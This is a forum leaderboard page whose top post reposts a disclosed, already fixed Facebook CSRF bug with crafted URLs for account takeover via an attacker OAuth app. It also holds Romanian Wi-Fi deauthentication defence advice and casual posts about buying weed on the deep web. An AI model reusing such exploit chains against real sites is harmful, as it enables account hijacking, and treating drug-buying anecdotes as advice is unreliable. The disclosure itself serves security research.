Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 02/15/19 in all areas

  1. Posted on February 12, 2019 by qw Facebook CSRF protection bypass which leads to Account Takeover. This bug could have allowed malicious users to send requests with CSRF tokens to arbitrary endpoints on Facebook which could lead to takeover of victims accounts. In order for this attack to be effective, an attacker would have to trick the target into clicking on a link. Demonstration This is possible because of a vulnerable endpoint which takes another given Facebook endpoint selected by the attacker along with the parameters and make a POST request to that endpoint after adding the fb_dtsg parameter. Also this endpoint is located under the main domain www.facebook.com which makes it easier for the attacker to trick his victims to visit the URL. The vulnerable endpoint is: https://www.facebook.com/comet/dialog_DONOTUSE/?url=XXXX where XXXX is the endpoint with parameters where the POST request is going to be made (the CSRF token fb_dtsg is added automatically to the request body). This allowed me to make many actions if the victim visits this URLs. Some of these are: Make a post on timeline: https://www.facebook.com/comet/dialog_DONOTUSE/?url= /api/graphql/%3fdoc_id=1740513229408093%26variables={"input":{"actor_id":{TARGET_ID},"client_mutation_id":"1","source":"WWW","audience":{"web_privacyx":"REDECATED"},"message":{"text":"TEXT","ranges":[]}}} Delete Profile Picture: https://www.facebook.com/comet/dialog_DONOTUSE/? url=/profile/picture/remove_picture/%3fdelete_from_album=1%26profile_id={TARGET_ID} Trick user to delete their account (After changing language with “locale” parameter) https://www.facebook.com/comet/dialog_DONOTUSE/? url=/help/delete_account/dialog/%3f__asyncDialog=0%26locale=fr_FR This will promote a password confirmation dialog, if the victim enters his password then his account will be deleted. Account Takeover Approach To takeover the account, we have to add a new email address or phone number to the victim account. The problem here is that the victim has to visit two separate URLs , one to add the email/phone and one to confirm it because the “normal” endpoints used to add emails or phone numbers don’t have a “next” parameter to redirect the user after a successful request. So to bypass this, i needed to find endpoints where the “next” parameter is present so the account takeover could be made with a single URL. 1) We authorize the attacker app as the user then we redirect to https://www.facebook.com/v3.2/dialog/oauthwhich will automatically redirect to the attacker website with access_token having the scopes allowed to that app (this happens without user interaction because the app is already authorized using the endpoint /ajax/appcenter/redirect_to_app). This URL should be sent to the user: https://www.facebook.com/comet/dialog_DONOTUSE/?url= /ajax/appcenter/redirect_to_app%3fapp_id={ATTACKER_APP}%26ref=appcenter_top_grossing%26redirect_uri=https%3a//www.facebook.com/v3.2/dialog/oauth%3fresponse_type%3dtoken%26client_id%3d{ATTACKER_APP}%26redirect_uri%3d{DOUBLE_URL_ENCODED_LINK}%26scope%3d&preview=0&fbs=125&sentence_id&gift_game=0&scopes[0]=email&gdpv4_source=dialog This step is needed for multiple things: First to use the endpoint /v3.2/dialog/oauth to bypass Facebook redirect protection in the “next” parameter which blocks redirecting attempts to external websites even if they are made using linkshim. Second to identify each victim using the token received which will help later to extract the confirmation code for that specific user. 2)The attacker website receives the access token of the user , creates an email for him under that domain and redirect the user to : https://www.facebook.com/comet/dialog_DONOTUSE/? url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next= /v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK] This URL does the follow: First it links an email to the user account using the endpoint /add_contactpoint/dialog/submit/ (no password confirmation is required). After the linking, it redirects to the selected endpoint in “next” paramter: "/v3.2/dialog/oauth?response_type=token&client_id={ATTACKER_APP}&redirect_uri={ATTACKER_DOMAIN}" which will redirect to the “ATTACKER_DOMAIN” again with the user access_token. 3) The attacker website receives the “access_token”, extract the user ID then search for the email received for that user and gets the confirmation link then redirects again to : https://www.facebook.com/confirmcontact.php?c={CODE}&z=0&gfid={HASH} (CODE and HASH are in the email received from Facebook) This method is simpler for the attacker but after the linking the endpoint redirects the victim to https://www.facebook.com/settings?section=email which expose the newly added email so the confirmation could be done using the /confirm_code/dialog/submit/ endpoint which have a “next” parameter that could redirect the victim to the home page after the confirmation is made. 4) The email is now added to the victim account, the attacker could reset the password and takeover the account. The attack seems long but it’s done in a blink of an eye and it’s dangerous because it doesn’t target a specific user but anyone who visits the link in step 1 (This is done with simple scripts hosted in the attacker website) Timeline Jan 26, 2018 — Report Sent Jan 26, 2018 —  Acknowledged by Facebook Jan 28, 2018 —  More details sent Jan 31, 2018 — Fixed by Facebook Feb 12, 2018 — $25,000  Bounty Awarded by Facebook Sursa: https://ysamm.com/?p=185
    1 point
  2. Teoretic, nu prea ai ce face impotriva unui atac de genul, 802.11 permite lucrul asta. Asta este mai mult o problema dpdv al threat modeling, si nu a tehnologiei. Ai putea totusi sa faci viata atacatorului putin mai grea; ce-mi vine acum in minte: majoritatea adaptoarelor/cipurilor folosite pentru acest lucru lucreaza doar pe 2.4 GHz, iar majoritatea tool-urilor care trimit pachete de deautentificare o fac 'directional' catre clientii AP-urilor vizate (nu stii AP, nu cunosti in mod cert clientii - atentie, clientii fac leak la numele AP-urilor pe care le cauta si te dai de gol). Avand aceste doua lucruri in minte, poti folosi un router dual-band strict pe 5 GHz, sau daca sunt necesare retele pe ambele plaji de frecvente (2.4 si 5), te asiguri ca numele celor doua retele nu au legatura intre ele, si ca MAC-urile lor sunt foarte diferite - majoritatea vendorilor schimba ultimii 1-2 octeti la retelele wifi de pe acelasi device. De ce totusi nu iti permiti ca clientii sa piarda conexiunea? Se poate implementa o verificare simpla, care permite sistemului sa mearga in continuare fara clienti, avand in vedere ca re-autentificarea se face foarte rapid. Ar mai fi o treaba sa comunici prin BT, dar ai spus ca schimbarea tehnologiei nu se ia in considerare, si totodata exista riscuri mari si acolo.
    1 point
  3. Vezi sa nu mori impuscat, t/c Edit// du-te in olanda daca vrei sa fumezi, Edit2: obamama avea 100mil pe cap pt un lunetist, merkel 500, stai in banca ta Edit3/// platesti aprox 70 € dus intors si fumezi de te spargi, all inclusive
    1 point
  4. Eu iti sugerez sa eviti dark web unele lucruri sunt mai ingrozitoare decat ai crede parerea mea !
    -1 points
  5. am prieteni care au comandat weed de pe deep web si le-au venit fara nicio problema, discretie maxima etc, si nu ai o treaba, amu tot o sa mai fie unu care pica de tap ispasitor, life is life.
    -2 points
×
×
  • Create New...